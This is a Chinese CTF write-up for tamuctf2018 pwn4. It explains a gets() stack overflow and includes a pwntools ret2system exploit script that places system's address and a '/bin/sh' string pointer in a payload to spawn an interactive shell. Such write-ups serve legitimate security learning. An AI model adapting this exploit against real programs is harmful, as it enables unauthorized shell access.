tamuctf2018_pwn4

思路

  • 从主函数开始看,调用了reduced_shell,在里面看到gets,毫无疑问,这将是我们的溢出处,在函数列表中,还可以看见system函数,因此回去想有没有现成的‘/bin/sh’,结果是有的


    string.png
  • 我们有了‘/bin/sh’作为system的参数,还需要system的地址,使用elf的symbols可以找到system的地址,剩下的就是需要一个system的返回地址,我们可以这么想,要是我们想要不断的执行system函数,使得程序不断的执行“/bin/sh”,因此我需要找到程序调用syetem的位置,就是在哪里有使用“call system”。
from pwn import *

context.log_level = 'debug'

io= process('./pwn4')
elf=ELF('./pwn4')

sys_addr = elf.symbols["system"]
print(sys_addr)
bin_addr = 0x0804A038
calls_addr = 0x080485E4

payload = '\x90'*0x20
payload += p32(sys_addr)
payload += p32(calls_addr)
payload += p32(bin_addr)

io.recvuntil('Input> ')
io.send(payload)
io.interactive()
io.close()
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • mean to add the formatted="false" attribute?.[ 46% 47325/...
    ProZoom阅读 2,724评论 0 3
  • 凉风习习的夜 我是一首诗 偶尔来 偶尔去 我抓不住你的一星半月 只能看你稍纵即逝 人人都咏叹你的美丽 却忽视咏叹调...
    青微潇潇阅读 385评论 0 1
  • 西瓜不太圆阅读 70评论 0 0
  • 搬进新居不久,便看到门口一大片知名的不知名的花草争奇斗艳。是谁这么有闲情雅致开辟出这样的一方天地?很是纳...
    漫步百花园阅读 642评论 6 6
  • 6月14日 星期四 天气:晴 六一节的时候,小姨送给淇淇的礼物是手工剪纸。这几天她就拿着...
    添淇阅读 314评论 1 1